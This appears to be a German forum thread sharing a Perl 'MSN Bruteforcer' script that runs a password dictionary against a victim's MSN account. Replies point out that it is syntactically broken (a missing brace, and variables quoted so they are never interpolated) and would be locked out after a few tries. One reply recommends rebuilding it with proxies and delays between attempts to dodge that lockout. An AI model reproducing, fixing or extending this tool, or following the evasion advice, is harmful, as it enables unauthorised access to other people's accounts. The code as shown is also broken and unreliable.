MSN Bruteforcer

Achtung: Nicht von mir!

habs noch nicht getestet, wäre cool wenns mal jemand macht.

Code:

---

#!/usr/bin/perl

system ("clear");

system ("cls");

system ("color fc");

# Re-c0de by m0x.lk

# Edit : BruteMSN .- ~HaSe & RE.

# Download Lib's.

use lib qw(./MSN/lib);

use MSN;

use strict;

use encoding "euc-jp";

print "Re-C0de by m0x.lk\n";

print "\n";

print "BruteMSN .- ~HaSe & RE.\n";

print "\n";

sleep 1;

print "Victima: ";

$victima=<STDIN>;

print "\n\n";

print "\n";

print "Diccionario: ";

$dict=<STDIN>;

print "\n\n";

open (D,"<$dict") or die "Diccionario no encontrado\n";

while(<D>)

{

$try = $_;

    chomp $try;

my $msn = MSN->new(Handle => '$victima',

                  Password => '$try');

    $counter++;

    $tiempo++;

    {

        print "$victima / $try \n";

        last;

    }

    if($counter==$fallos)

    {

}

close(D);

print "\n\n";

print "$tiempo Obtener pass";

print "\n\n";

print "c0dex by m0x.lk";

---

Ich kann mir nicht vorstellen, dass das funktioniert, das Script wird warschl. mit nem Syntax-Error abbrechen, denn wenn ich das richtig sehe, fehlt ein } für das Ende der while-Schleife.

Der Code ist übrigens auch grausam. Wenn ich dieses Wochenende mal Zeit finde, schreibe ich das mal ordentlich.

omg, dass nenn ich mal hässlichen code :D
naja, das teil wird nicht funktionieren, nach ca. 10 login versuchen bist du gesperrt. ich würd das ganz neu schreiben, und bei der gelegenheit gleich proxy-benutzung und timeouts zwischen den attempts eibauen :)